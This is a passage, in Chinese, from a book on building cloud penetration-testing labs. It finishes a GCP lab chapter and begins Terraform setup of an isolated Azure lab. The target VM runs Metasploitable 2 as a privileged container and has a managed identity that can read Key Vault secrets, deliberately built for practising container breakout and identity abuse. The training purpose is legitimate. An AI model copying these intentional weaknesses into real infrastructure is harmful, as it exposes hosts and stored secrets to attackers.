虽然我们相对简单的 SQL 注入示例展示了一个常见的攻击技术,但需要注意的是,在我们的渗透测试实验室环境中,可以执行各种其他攻击和技术。在清理本章中我们准备的实验室环境之前,欢迎进一步探索并实验 OWASP Juice Shop 应用程序。
清理工作
清理我们创建或部署的云资源是在处理易受攻击的云应用程序和环境时的关键步骤。如果我们不立即清理并删除已创建的资源,可能最终会为未使用的云资源付费。此外,这些云资源也可能会遭到恶意用户的攻击。至少,我们将支付以下资源运行时的费用:
-
1 x
e2-medium虚拟机实例,用于攻击者机器 -
1 x
f1-micro虚拟机实例,用于目标机器
请注意,我们还需要考虑其他费用——包括数据传输费用、实例使用的持久数据存储费用、账户中其他服务的潜在费用以及与使用资源相关的任何适用税费或费用。
注意
由于运行这些资源的整体成本取决于多个参数,最好参考云平台提供的定价文档页面,页面链接如下:cloud.google.com/compute/vm-instance-pricing。您还可以使用 Google Cloud 定价计算器 来估算在 GCP 上部署资源的成本。您可以通过以下链接访问 Google Cloud 定价计算器:cloud.google.com/products/calculator。
话虽如此,让我们继续删除本章中创建的资源,如下所示:
-
关闭我们用来访问 Kali Linux 桌面环境的浏览器标签页。
-
在 Cloud Shell 终端中,导航到
~/pentest_lab目录,然后使用terraform destroy清理我们之前创建的资源:cd ~/pentest_lab terraform destroy -auto-approve如果有些资源未能删除,欢迎再次运行
terraform destroy命令。或者,如果其他方法无效,您也可以通过用户界面手动删除资源。 -
使用以下命令验证资源是否已成功销毁:
terraform show由于所有资源应该已经成功删除,因此此操作应该返回一个空响应。
重要提示
随时通过 Google Cloud 控制台执行全面审计。这将帮助确保所有资源已正确删除,减少未预期费用的风险,并解决任何潜在的安全问题。
就是这样!此时,我们应该对如何在 GCP 上准备渗透测试实验室环境有了较好的了解。
总结
在本章中,我们成功地在 GCP 中搭建了渗透测试实验室。我们首先准备了先决条件,并定义了用于自动化实验环境的 Terraform 代码项目结构。接着,我们搭建了一个隔离的网络,以保护实验室环境资源免受外部攻击。在这个隔离网络中,我们启动了一个运行 OWASP Juice Shop 应用程序(在容器中)的目标虚拟机实例。随后,我们将 Kali Linux 通用云镜像导入到我们的 Google Cloud 账户中。使用导入的镜像,我们继续在网络环境中设置攻击者虚拟机实例。完成实验环境的搭建后,我们进行了简化的渗透测试模拟,以验证我们的实验室是否(错误地)配置正确。
在接下来的章节中,我们将重点讨论如何在 Microsoft Azure 中搭建渗透测试实验室。我们将搭建一个实验环境,在其中练习容器突破技术,以便获得对主机系统(容器运行所在的系统)的授权访问。我们的实验室设置还将展示如何滥用托管身份访问云环境中的其他资源。如果你对在 Azure 中搭建渗透测试实验室感到兴奋,那么下一章将适合你!
进一步阅读
对于本章所涵盖主题的更多信息,你可以参考以下资源:
-
Google Cloud – 云计费资源组织与访问 管理 指南 (
cloud.google.com/billing/docs/onboarding-checklist) -
将 Azure 服务与虚拟网络集成以实现网络 隔离 (
learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services) -
Google Cloud – VPC 设计的最佳实践与参考架构 (
cloud.google.com/architecture/best-practices-vpc-design) -
Kali Linux – 云端 (
www.kali.org/docs/cloud/) -
Kali Linux – 什么是 Kali Linux? (
www.kali.org/docs/introduction/what-is-kali-linux/) -
Google Cloud – 手动导入启动 磁盘 (
cloud.google.com/compute/docs/import/import-existing-image) -
OWASP Juice Shop:可能是最现代且最复杂的不安全 web 应用 (
github.com/juice-shop/juice-shop)
第五章:在 Azure 上设置隔离渗透测试实验室环境
在上一章中,我们成功地在Google Cloud Platform(GCP)中的隔离网络环境内建立并自动化了一个相对简单的渗透测试实验室。我们主要关注了在云中构建实验室环境时最重要的一个方面——保护易受攻击的实验室资源免受外部世界的攻击。
在本章中,我们将更进一步,使用Microsoft Azure中的各种服务构建一个更复杂的实验室环境。本章中的实验室设置将帮助我们练习容器突破技术,涉及从 Docker 容器环境中逃逸,进而获得对主机系统的未经授权访问。由于容器是现代部署中的基本组成部分,了解其安全漏洞对于确保基于云的应用程序的安全至关重要。除此之外,我们还将探讨如何滥用 Azure 中的托管身份来获得对其他云资源的未经授权访问。尽管托管身份在防止凭证暴露方面非常有效,但它们也引入了一个新问题,因为这些身份设置了其他攻击路径,可能被攻击者(或冒充攻击者的人)滥用。
在设置实验室环境后,我们将通过使用各种工具,如Nmap和Metasploit,进行简化的渗透测试模拟,以验证我们的易受攻击的设计实验室环境是否已正确(或错误)配置。在我们的模拟中,我们将通过一系列步骤展示如何利用多个漏洞和配置错误来获得对包含敏感凭证和信息的云资源的未经授权访问。
本章我们将涵盖以下主题:
-
准备必要的组件和先决条件
-
定义项目结构
-
准备隔离网络
-
设置目标资源
-
手动设置攻击者虚拟机实例
-
利用 Terraform 自动设置攻击者虚拟机实例
-
在隔离网络环境中模拟渗透测试
-
清理工作
接下来的章节将非常令人兴奋,我们将学习多种技术,从在 Azure 中构建渗透测试实验室环境到使用安全工具验证实验室设置中的配置错误和漏洞。
话不多说,让我们开始吧!
技术要求
在开始之前,我们必须准备好以下内容:
-
一个
Microsoft** **Azure帐户 -
任何文本编辑器(如 Notepad++、Visual Studio Code 或 Sublime Text),我们可以在其中临时存储在本章的动手实践解决方案中使用的特定值(例如,我们本地机器的 IP 地址)
一旦准备好这些内容,您可以继续下一步。
重要说明
类似于 AWS 和 GCP,Azure 是一个成熟的云平台,提供了多种服务,使我们能够在云中构建渗透测试环境。我们将在 Azure 中找到配置虚拟机、数据库和其他云资源的各种选项,用于构建易受攻击的实验室环境。运行这些资源的成本可能会有所不同,因此请务必阅读可用的文档以及常见问题解答,充分了解在创建资源时哪些是免费的(哪些不是)。除此之外,请确保你不要使用任何包含生产(或暂存)环境资源的现有账户来进行本书中的动手练习和解决方案。强烈建议你创建一个新的 Azure 账户,专门用于启动故意存在漏洞的资源。这将确保你的生产(或暂存)环境资源保持独立且安全。
每章使用的源代码和其他文件可以在本书的 GitHub 仓库中找到:github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud。
准备必要的组件和先决条件
在本部分,我们将设置一些关键组件和先决条件,为下一部分准备 Terraform 代码做准备。我们将首先手动创建一个资源组,用于存储本章后面使用的一些资源。除此之外,我们还将生成用于访问攻击者 **虚拟机 (**VM) 实例的 SSH 密钥。
在我们继续进行本部分的动手操作之前,让我们先熟悉一下与本部分相关的一些关键服务和术语:
-
资源组:用于将多个资源进行逻辑分组的容器
-
Golden image:一个包含所有应用程序和配置设置的自定义虚拟机镜像,旨在作为标准化模板,用于提供多个具有相同软件和配置的实例 -
Cloud Shell:一种基于浏览器的互动命令行环境,使用户能够通过网页浏览器直接访问和管理资源 -
SSH 密钥:这是一对加密密钥(即 私钥 和其对应的 公钥),用于通过网络进行安全认证和系统间的通信
也就是说,本部分分为以下子部分:
-
第一部分(共 2 部分)– 手动创建一个 资源组
-
第二部分(共 2 部分)– 生成 SSH 密钥以访问攻击者 VM 实例
有了这些考虑,让我们继续。
第一部分(共 2 部分)– 手动创建一个资源组
我们先从创建一个资源组开始:
-
在搜索框中,输入
resource groups,然后从搜索结果中选择Resource groups(在Services下)。 -
点击位于工具栏上的+ 创建按钮。
-
在创建资源组表单中(类似于图 5.1中所示),为资源组输入框指定
image-resource-group的值:![]()
图 5.1 – 创建资源组
我们稍后将在创建虚拟机实例镜像时使用这个资源组。如果你在想我们在本章中会有多少个资源组,我们将拥有恰好三个资源组——手动创建的资源组(image-resource-group),以及两个我们将通过 Terraform 自动创建的资源组(
resource-group-01和resource-group-02)。
注意
确保Region设置为(US)东部美国,因为我们将在本章中创建其他资源时使用相同的区域。
-
点击审查 +
创建按钮。 -
最后,点击创建完成创建新的资源组。
重要提示
我们刚刚创建的资源组将用于存放本章稍后将准备的黄金镜像。为什么我们需要为黄金镜像创建一个单独的资源组? 正如我们稍后会看到的,将黄金镜像放在单独的资源组中将使我们能够无障碍地使用terraform apply和terraform destroy命令。如果黄金镜像位于自动创建的资源组之一中,我们将在清理和删除资源时被迫删除黄金镜像,以确保terraform destroy命令成功执行并完成。如果该自动创建的资源组包含未由 Terraform 管理的其他资源,我们将无法使用terraform destroy删除该资源组(除非我们在重新执行terraform destroy命令之前手动删除这些资源)。
第二部分中的第 2 步 – 生成 SSH 密钥以访问攻击者虚拟机实例
现在,让我们继续生成 SSH 密钥,以便稍后在本章中访问攻击者虚拟机实例:
-
通过点击图 5.2中高亮显示的按钮,打开
Cloud Shell编辑器:![]()
图 5.2 – 打开 Cloud Shell
当系统提示选择
Bash或PowerShell时,选择Bash。这将打开一个终端,我们可以在其中运行 bash 命令(在$符号后)。与我们在上一章中使用的 Google Cloud Shell 类似,Azure Cloud Shell 提供了一种方便的方式,通过现成的终端和编辑器来管理资源。
重要提示
由于 Azure Cloud Shell 需要一个文件共享来持久化文件,我们需要创建一个存储帐户,以防看到You have no storage mounted的消息。请参考以下链接,了解如何持久化文件并为 Azure Cloud Shell 创建新的存储帐户:learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage。
-
在终端中(在
$符号后),运行以下命令以创建一个新目录(命名为 kali_keys)并进入该目录:cd ~ mkdir kali_keys && cd kali_keys我们将把生成的密钥存储在这个目录中。
-
生成新的 SSH 密钥对并将生成的密钥文件保存在
kali_keys目录中:ssh-keygen -t rsa -C kali -f ./kali-ssh当要求输入密码短语时,直接按 Enter 键。这将生成两个文件——
kali-ssh(私钥)和kali-ssh.pub(公钥)。
注意
在基于 SSH 密钥的认证中,私钥保密,通常存储在客户端(例如我们的本地机器)上,而相应的公钥用于认证,通常存储在我们尝试访问的服务器上。
-
使用
cat命令打印公钥值:cat kali-ssh.pub将该值存储在本地机器的文本编辑器中——我们将在本章后续部分配置 Kali Linux 虚拟机实例时使用它。
-
点击 上传
/下载文件 按钮,如 图 5.3 所示:![]()
图 5.3 – 下载我们生成的私钥
从可用选项列表中选择 下载 选项。当您看到 下载文件 的弹出窗口时,在输入框中输入
/kali_keys/kali-ssh(如 图 5.3 所示),然后点击 下载。
注意
由于密钥(kali-ssh)与我们在上一章节下载的密钥名称相同,请确保不要在本地机器上混淆这些密钥,以免引起混淆。在继续下一步之前,您可以将下载的密钥从 第四章 重命名为 kali-ssh-gcp。
- 点击 点击此处下载文件 链接以继续实际的下载操作。
在准备好前提条件后,我们现在可以开始设置项目结构了。
定义项目结构
在本章中,我们将使用一个类似于 第四章 中的 Terraform 项目结构——在 GCP 上设置隔离的渗透测试实验室环境。虽然本章与上一章节的实验环境有相似之处,但本章的实验环境将包含一些附加组件,增加其复杂度:

图 5.4 – 我们实验室的设置(不包括网络环境)
本章实验环境的主要组件之一将是一个安全的密钥存储(Azure Key Vault),我们将在其中存储一个标志。我们还将使实验室用户(扮演攻击者角色)能够突破运行中的容器并获取对虚拟机实例中宿主系统的未经授权的访问权限。一旦获得宿主系统的访问权限,系统分配的托管身份将允许从虚拟机实例内部访问 Azure Key Vault 中的机密。
注意
如果本节中使用的术语听起来不熟悉,请不要担心,我们将在下一节讨论并定义这些概念、术语和服务!
目前,我们将重点关注这些实验环境的共同点——网络对等设置,连接攻击者网络和目标网络(类似于图 5.5中所示的内容):

图 5.5 – 连接两个网络的网络对等设置
考虑到本章将设置更复杂的实验环境,我们必须规划好配置额外资源的位置,而不需要大幅改变资源的分组方式。话虽如此,我们的 Terraform 项目结构将在本章中包含以下模块:
-
secure_network:包含为此实验环境创建和配置网络资源的代码的模块 -
target_vm:用于创建和配置目标虚拟机实例及其他目标资源的模块(包括我们将存储秘密标志的 Azure 密钥保管库资源) -
attacker_vm:包含设置攻击者虚拟机实例代码的模块
尽管这种方法并不完美,但目前应当足够,因为我们本章的主要目标是介绍可能存在于现代云环境中的新漏洞和配置错误组件。
话虽如此,让我们继续设置初始的项目文件和目录:
-
接着上一节的内容,让我们通过点击图 5.6中的按钮打开 Cloud Shell 编辑器:
![]()
图 5.6 – 打开 Cloud Shell 编辑器
随时可以通过点击编辑器左上角的最大化图标来最大化 Cloud Shell 窗口。
-
在终端中(
$符号后面),运行以下命令来创建pentest_lab项目目录(并导航到新目录):cd ~ mkdir -p pentest_lab && cd pentest_lab -
在
pentest_lab目录中,让我们还创建secure_network、target_vm和attacker_vm目录:mkdir -p secure_network mkdir -p target_vm mkdir -p attacker_vm稍后我们将在这些目录中存储相应的模块文件。
注意
虽然通常会有一个名为modules的单独目录,用于存储单独的模块目录,如secure_network、target_vm和attacker_vm,但目前我们的项目和文件夹结构已经足够。
-
让我们创建项目根文件夹中将包含的文件:
touch main.tf touch variables.tf touch outputs.tf touch terraform.tfvars touch versions.tf touch provider.tf请注意,此时这些文件仍然是空的。我们将在接下来的过程中填充必要的配置。
注意
如果新文件和目录没有自动显示,请随时点击编辑器中的刷新按钮。
-
在编辑器中打开
provider.tf文件,并添加以下代码块:provider "azurerm" { features {} } -
接下来,让我们在编辑器中打开
versions.tf文件。我们将添加以下代码块,以指定所使用的提供者的版本约束:terraform { required_version = ">=0.12"required_providers { azurerm = { source = "hashicorp/azurerm" version = "~>2.0" } random = { source = "hashicorp/random" version = "~>3.0" } } } -
在编辑器中打开
variables.tf文件并添加以下代码块:variable "my_ip" { type = string } variable "kali_image_id" { type = string } variable "my_public_ssh_key" { type = string } -
在编辑器中打开
terraform.tfvars文件并添加以下代码行:my_ip = "<INSERT IP ADDRESS>" kali_image_id = "<INSERT KALI IMAGE ID>" my_public_ssh_key = "<INSERT PUBLIC SSH KEY>"确保将
<INSERT IP ADDRESS>替换为本地机器的 IP 地址,并将<INSERT PUBLIC SSH KEY>替换为公共 SSH 密钥的字符串值(我们之前通过cat命令打印过)。由于我们尚未创建攻击者 VM 实例的金色镜像,因此暂时保持kali_image_id占位符值(即)不变。 -
在编辑器中打开
main.tf文件,并添加以下代码块,以定义将用于此项目的模块:module "secure_network" { source = "./secure_network" } module "attacker_vm" { source = "./attacker_vm" } module "target_vm" { source = "./target_vm" }在这里,我们正在向
main.tf添加模块块,以从各自的源目录中包含secure_network、attacker_vm和target_vm模块。确保在继续下一步之前保存main.tf文件。 -
让我们使用以下命令创建一个空的
secure_network/main.tf文件:touch secure_network/main.tf -
在编辑器中打开
secure_network/main.tf文件,并为实验环境中将使用的资源组添加以下代码块:resource "azurerm_resource_group" "rg_01" { location = "eastus" name = "resource-group-01" } resource "azurerm_resource_group" "rg_02" { location = "eastus" name = "resource-group-02" } -
在我们的 Cloud Shell 终端(在
$符号后)中,运行以下命令来初始化 Terraform 工作目录:terraform init -
让我们运行
terraform plan来预览 Terraform 将要执行的更改:terraform plan这应该会生成以下输出:
... Plan: 2 to add, 0 to change, 0 to destroy. ...命令应该没有任何错误地完成。
-
接下来,让我们使用
terraform apply命令来实现这些更改:terraform apply -auto-approve这应该会给我们以下输出:
... Apply complete! Resources: 2 added, 0 changed, 0 destroyed. ...如果
terraform apply命令运行没有任何错误,那么我们可以继续进行下一部分。否则,可以检查并修复 Terraform 配置中的任何现有代码问题。 -
使用以下命令验证资源是否成功创建:
terraform show这应该会返回我们在前一步创建的两个资源组。
在项目结构和骨架准备好之后,我们现在可以继续设置隔离的虚拟网络(VNet)环境。
准备隔离网络
在本节中,我们将重点设置将包含我们的渗透测试实验室资源的隔离网络环境。我们将在 Microsoft Azure 中建立一个安全的网络环境,限制来自外部主机的流量到达网络环境内部部署的云资源:

图 5.7 – 隔离网络环境
当然,即使资源部署在不同的虚拟网络(VNet)中,它们也应该能够相互通信。我们将通过设置VNet 对等连接来桥接两个虚拟网络,类似于我们在上一章中看到的 VPC 对等连接如何桥接两个 Google Cloud VPC。
在我们继续准备隔离的网络环境之前,让我们快速浏览一下与本章相关的 Azure 概念、特性和术语:
-
订阅:一个逻辑单元,作为计费和管理边界,使得 Azure 资源、访问控制和使用报告的组织与治理成为可能。
-
租户:代表 Azure 中的一个组织或身份。每个 Azure 订阅都与一个特定的租户相关联,多个订阅可以与同一个租户关联。
-
VNet:一个网络,为资源提供一个私有网络环境,以便在 Azure 内部进行安全通信(类似于 GCP 和 AWS 中的 VPC 网络)。 -
VNet 对等连接:连接 VNets,使这些网络之间能够进行流量传输。
-
资源组:一个逻辑容器,帮助在 Azure 订阅中组织和管理相关资源。
-
网络接口卡(NIC):Azure 中的一个网络组件,充当虚拟机与底层网络基础设施之间的接口,使其能够与其他资源进行通信。NIC 提供与 IP 地址、网络安全组和网络路由相关的属性和配置。
-
应用安全组(ASG):Azure 中的一个构造,允许您根据应用需求对网络安全策略进行分组和管理。ASG 提供了一种定义网络安全规则并将其与虚拟网络中的特定应用或服务关联的方法。
-
网络安全组(NSG):一个网络安全构造,作为虚拟防火墙,用于控制进入和离开资源的流量。NSG 允许创建定义网络安全策略的规则,包括 访问控制列表(ACL)、过滤和端口转发。通过将 NSG 与子网或网络接口关联,管理员和工程师可以实施细粒度的网络流量控制和安全措施。
注意
NSG 专注于网络层面的安全控制,允许工程师基于 IP 地址、端口和协议定义规则。另一方面,ASG 提供了更高层次的抽象,允许工程师根据应用上下文对资源进行分组,从而实现更加以应用为中心的安全策略。
现在我们对本章中将要使用的 Microsoft Azure 概念和术语有了更好的了解,接下来让我们继续准备网络环境:
-
从上一节结束的地方继续,我们在
main.tf文件中找到以下代码块:module "secure_network" { source = "./secure_network" }让我们使用以下代码块进行替换:
module "secure_network" { source = "./secure_network" my_ip = var.my_ip } -
让我们使用以下命令创建一个空的
secure_network/variables.tf文件:touch secure_network/variables.tf -
接下来,在编辑器中打开
secure_network/variables.tf文件,并添加以下代码块来定义我们secure_network模块的my_ip变量:variable "my_ip" { type = string }在继续之前,确保保存
secure_network/variables.tf文件。 -
在
secure_network/main.tf文件中,我们将定义并配置第一个 VNet,并在其中定义一个子网:resource "azurerm_virtual_network" "vnet_01" { name = "vnet-01" address_space = ["10.0.0.0/16"] location = (azurerm_resource_group .rg_01.location) resource_group_name = (azurerm_resource_group .rg_01.name) } resource "azurerm_subnet" "subnet_01" { name = "subnet-01" resource_group_name = (azurerm_resource_group .rg_01.name) virtual_network_name = (azurerm_virtual_network .vnet_01.name) address_prefixes = ["10.0.1.0/24"] } -
让我们也定义相应的 ASG 和 NSG:
resource "azurerm_application_security_group" "asg_01" { name = "asg-01" location = (azurerm_resource_group .rg_01.location) resource_group_name = (azurerm_resource_group .rg_01.name) } resource "azurerm_network_security_group" "nsg_01" { name = "nsg-01" location = (azurerm_resource_group .rg_01.location) resource_group_name = (azurerm_resource_group .rg_01.name) } -
接下来,让我们定义并配置第二个 VNet,并在其中定义一个子网:
resource "azurerm_virtual_network" "vnet_02" { name = "vnet-02" address_space = ["192.168.0.0/16"] location = (azurerm_resource_group .rg_02.location) resource_group_name = (azurerm_resource_group .rg_02.name) } resource "azurerm_subnet" "subnet_02" { name = "subnet-02" resource_group_name = (azurerm_resource_group .rg_02.name) virtual_network_name = (azurerm_virtual_network .vnet_02.name) address_prefixes = ["192.168.1.0/24"] } -
接下来,让我们为攻击者虚拟机实例将要部署的虚拟网络(VNet)定义 ASG 和 NSG:
resource "azurerm_application_security_group" "asg_02" { name = "asg-02" location = (azurerm_resource_group .rg_02.location) resource_group_name = (azurerm_resource_group .rg_02.name) } resource "azurerm_network_security_group" "nsg_02" { name = "nsg-02" location = (azurerm_resource_group .rg_02.location) resource_group_name = (azurerm_resource_group .rg_02.name) } -
让我们使用以下代码块定义对等连接:
resource "azurerm_virtual_network_peering" "peer_1_to_2" { name = "peer1to2" resource_group_name = (azurerm_resource_group .rg_01.name) virtual_network_name = (azurerm_virtual_network .vnet_01.name) remote_virtual_network_id = (azurerm_virtual_network .vnet_02.id) } resource "azurerm_virtual_network_peering" "peer_2_to_1" { name = "peer2to1" resource_group_name = (azurerm_resource_group .rg_02.name) virtual_network_name = (azurerm_virtual_network .vnet_02.name) remote_virtual_network_id = (azurerm_virtual_network .vnet_01.id) }使用此 VNet 对等配置,来自第一个 VNet 子网(vnet-01)中部署的资源的流量,将能够到达第二个 VNet 子网(vnet-02)中部署的资源(反之亦然),前提是已正确定义并配置了必要的防火墙规则。
-
为了让我们的本地机器通过端口
8081访问第二个 VNet 中的资源,我们还需要定义一个网络安全规则:resource "azurerm_network_security_rule" "desktop-access" { name = "Desktop-Access" priority = 900 direction = "Inbound" access = "Allow" protocol = "*" source_port_range = "*" destination_port_range = "8081" source_address_prefix= "${var.my_ip}/32" destination_address_prefix = ( azurerm_subnet.subnet_02.address_prefix ) resource_group_name = ( azurerm_resource_group.rg_02.name ) network_security_group_name = ( azurerm_network_security_group.nsg_02.name ) } -
此外,让我们创建一个网络安全规则,以允许我们的本地机器通过端口
22访问第二个 VNet 中的资源:resource "azurerm_network_security_rule" "ssh-access" { name = "SSH-Access" priority = 1000 direction = "Inbound" access = "Allow" protocol = "*" source_port_range = "*" destination_port_range = "22" source_address_prefix= "${var.my_ip}/32" destination_address_prefix = ( azurerm_subnet.subnet_02.address_prefix ) resource_group_name = ( azurerm_resource_group.rg_02.name ) network_security_group_name = ( azurerm_network_security_group.nsg_02.name ) }
注意
在继续下一组步骤之前,确保保存secure_network/main.tf文件。你可以在这里找到secure_network/main.tf文件的副本:github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/blob/main/ch05/pentest_lab/secure_network/main.tf。
-
让我们使用以下命令创建一个空的
secure_network/outputs.tf文件:touch secure_network/outputs.tf -
打开
secure_network/outputs.tf文件,在编辑器中添加以下代码行以定义以下输出:output "asg_01" { value = azurerm_application_security_group.asg_01.id } output "nsg_01" { value = azurerm_network_security_group.nsg_01.id } output "rg_01_location" { value = azurerm_resource_group.rg_01.location } output "rg_01_name" { value = azurerm_resource_group.rg_01.name } output "subnet_01" { value = azurerm_subnet.subnet_01.id } -
在
secure_network/outputs.tf中,在最后一个已定义的输出块后添加以下输出:output "asg_02" { value = azurerm_application_security_group.asg_02.id } output "nsg_02" { value = azurerm_network_security_group.nsg_02.id } output "rg_02_location" { value = azurerm_resource_group.rg_02.location } output "rg_02_name" { value = azurerm_resource_group.rg_02.name } output "subnet_02" { value = azurerm_subnet.subnet_02.id }在继续下一步之前,确保保存
secure_network/outputs.tf文件。 -
返回到
~/pentest_lab项目文件夹:cd ~/pentest_lab -
让我们运行
terraform plan来预览 Terraform 将执行的更改:terraform plan这应该会给我们以下输出:
... Plan: 12 to add, 0 to change, 0 to destroy. ... -
最后,让我们使用
terraform apply来实现这些更改:terraform apply -auto-approve
注意
运行此命令时可能会出现一些弃用警告。只要我们能够成功运行命令而没有错误,应该没问题。
到此为止,网络环境已准备好!在接下来的部分,我们将继续设置目标资源。
设置目标资源
随着隔离的网络环境准备就绪,我们现在可以继续设置目标虚拟机实例,并添加一些附加资源,如包含附加标志密钥的 Azure Key Vault,以及在虚拟机实例内部运行的具有提升权限的易受攻击的容器:

图 5.8 – 本节将要设置的目标资源
在本节中,我们将在 VNet 01 内设置目标虚拟机实例,类似于上一章中设置目标虚拟机实例的方式。本章的一个主要区别是我们将运行Metasploitable 2容器,而不是OWASP Juice Shop容器。与 OWASP Juice Shop 类似,Metasploitable 2 故意包含了多种不安全的配置和易受攻击的软件包。虽然 Metasploitable 2 主要设计并分发为一个易受攻击的虚拟机,但它也可以配置为容器运行。我们将运行这个易受攻击的容器,并使用--privileged标志,这样我们可以在本章最后的渗透测试模拟中突破容器。
注意
Docker 中的--privileged标志授予容器在宿主系统中提升的权限。这会带来潜在的安全风险,攻击者可以通过容器突破并获得宿主系统的 root 级访问权限(从容器内部)。虽然我们不会深入探讨容器突破的工作原理,但我们将在本章最后的模拟环节中简要演示如何执行这一操作。
除此之外,我们将配置目标虚拟机实例,使其具有系统分配的托管身份。这将使我们能够在实例内部访问 Azure Key Vault 的机密,而无需在使用 Azure CLI 时显式地指定凭据。如果你想了解Azure Key Vault是什么,它是微软 Azure 中的一个云服务,允许用户、开发者和工程师在一个集中的存储库中安全地存储和管理加密密钥、机密和证书。从渗透测试的角度来看,理解 Azure Key Vault 的工作原理至关重要,因为测试人员需要评估现有的安全控制措施,并识别使用该服务时的潜在漏洞和配置错误。
也就是说,本节分为以下子部分:
-
第一部分(共二部分)– 使用 Terraform 准备目标资源
-
第二部分(共二部分)– 验证我们的目标虚拟机 实例设置
第一部分(共二部分)– 使用 Terraform 准备目标资源
按照以下步骤操作:
-
让我们使用以下命令在
target_vm目录下创建main.tf、variables.tf和outputs.tf文件:touch target_vm/main.tf touch target_vm/variables.tf touch target_vm/outputs.tf -
使用
wget命令下载boot-script.sh脚本文件:DOWNLOAD_URL=`https://raw.githubusercontent.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/main/ch05/pentest_lab/target_vm/boot-script.sh` wget -O target_vm/boot-script.sh $DOWNLOAD_URL确保
DOWNLOAD_URL变量的值是正确的,并正确指向 boot-script.sh 文件。如果你想知道boot-script.sh里包含什么,下面是脚本文件内容的快速截图。![]()
图 5.9 – boot-script.sh
执行时,以下脚本文件将(1)为第一个 flag 创建一个
flag1.txt文件,(2)在虚拟机实例中安装 Docker,(3)拉取Metasploitable 2容器镜像,(4)以提升权限运行该漏洞容器,并将特定容器端口映射到虚拟机实例端口,(5)在虚拟机实例中安装Azure CLI,以及(6)将第二个 flag 设置为 Azure 密钥保管库中的秘密。
注意
如果你想知道什么是flag,它作为渗透测试实验室环境中成功利用和进展的关键标志。Flag 可能代表攻击者(或扮演攻击者角色的人)在实际攻击中想要获取的敏感数据或凭据。所以,我们可以将渗透测试实验室环境看作是一个迷宫,其中的 flag 就像是等待在不同路段被发现的宝贵财富。
-
接下来,在
target_vm/variables.tf中定义以下变量:variable "asg" { type = string } variable "nsg" { type = string } variable "rg_location" { type = string } variable "rg_name" { type = string } variable "subnet" { type = string }这些变量稍后将在我们定义
target_vm模块中的资源时使用。
注意
确保在继续之前保存你对target_vm/variables.tf文件所做的更改。
-
现在,让我们在编辑器中打开
target_vm/main.tf文件。保持这个文件打开,我们将在接下来的步骤中在此文件内定义各种资源。 -
在
target_vm/main.tf文件中,添加以下代码块,用于访问目标虚拟机实例的凭据:resource "random_string" "random_password" { length = 12 special = true override_special = "!#$%&" min_lower = 2 min_special = 2 min_upper = 2 } locals { vm_username = "testuser"vm_password = random_string.random_password.result } -
在
target_vm/main.tf文件中,让我们还定义目标虚拟机实例的公共 IP 地址和网络接口资源:resource "azurerm_public_ip" "public_ip_target" { name = "public-ip-target" location = var.rg_location resource_group_name = var.rg_name allocation_method = "Dynamic" } resource "azurerm_network_interface" "nic_target" { name = "nic-target" location = var.rg_location resource_group_name = var.rg_name ip_configuration { name = "nic_configuration_target" subnet_id = var.subnet private_ip_address_allocation = "Dynamic" public_ip_address_id = ( azurerm_public_ip.public_ip_target.id ) } } -
我们还需要在
target_vm/main.tf文件中定义关联,使用以下代码块:resource "azurerm_network_interface_security_group_association" "nsg_assoc_target" { network_interface_id = ( azurerm_network_interface.nic_target.id ) network_security_group_id = var.nsg } resource "azurerm_network_interface_application_security_group_association" "asg_assoc_target" { network_interface_id = ( azurerm_network_interface.nic_target.id ) application_security_group_id = var.asg } -
准备好所有先决条件后,接下来将以下代码块添加到
target_vm/main.tf文件中,以定义和配置目标虚拟机实例:resource "azurerm_linux_virtual_machine" "vm_target" { name = "vm-target" location = var.rg_location resource_group_name = var.rg_name size = "Standard_D2s_v3" network_interface_ids = ( [azurerm_network_interface.nic_target.id] ) os_disk { name = "os-disk-target" caching = "ReadWrite" storage_account_type = "Standard_LRS" }source_image_reference { publisher = "Canonical" offer = "0001-com-ubuntu-server-jammy" sku = "22_04-lts-gen2" version = "latest" } computer_name = "vm-target" admin_username = local.vm_username admin_password = local.vm_password disable_password_authentication = false boot_diagnostics { storage_account_uri = null } identity { type = "SystemAssigned" }custom_data = ( base64encode( templatefile( "${path.module}/boot-script.sh", {} ) ) ) }你能看到
identity块,其中type = "SystemAssigned"吗?这个虚拟机实例将在接下来的步骤中配置一个系统分配的托管身份,用来在我们与其他 Azure 服务或资源(如 Azure 密钥保管库)交互时进行身份验证和授权。
注意
这对渗透测试人员意味着什么?这意味着,如果我们能够攻破虚拟机实例,那么我们可能能够在不提供凭据的情况下,从虚拟机实例内部访问其他服务和资源(如 Azure 密钥保管库)。
-
在
target_vm/main.tf文件中,让我们定义并配置 Azure 密钥保管库资源。确保将密钥保管库的name值从rg-01-key-vault更新为任何未使用的保管库名称:resource "azurerm_key_vault" "key_vault" { name = "rg-01-key-vault" location = var.rg_location resource_group_name = var.rg_name sku_name = "standard" tenant_id = ( data.azurerm_client_config.current.tenant_id ) soft_delete_retention_days = 7 purge_protection_enabled = false access_policy { tenant_id = ( data.azurerm_client_config .current.tenant_id ) object_id = ( azurerm_linux_virtual_machine .vm_target .identity[0] .principal_id )secret_permissions = [ "Get", "Set", "List" ] }access_policy { tenant_id = ( data.azurerm_client_config .current.tenant_id ) object_id = ( azurerm_user_assigned_identity .managed_identity .principal_id )secret_permissions = [ "Get", "Set", "List" ] } }在这里,第一个访问策略授予权限给与 Azure Linux VM 关联的主体。指定的密钥权限允许主体执行对存储在保险库中的秘密进行 获取、设置 和 列出 等操作。另一方面,第二个访问策略授予权限给用户分配的托管标识。与第一个访问策略类似,第二个访问策略的指定秘密权限允许主体执行对存储在保险库中的秘密进行 获取、设置 和 列出 等操作。
重要提示
确保将 Key Vault name 值从 rg-01-key-vault 更新为任何未使用的保险库名称,因为在稍后运行 terraform apply 命令时,您会遇到以下错误(由于保险库名称在全局范围内是唯一的):VaultAlreadyExists — 保险库名称 'rg-01-key-vault' 已在使用中。保险库名称是全局唯一的,因此可能已经被使用。
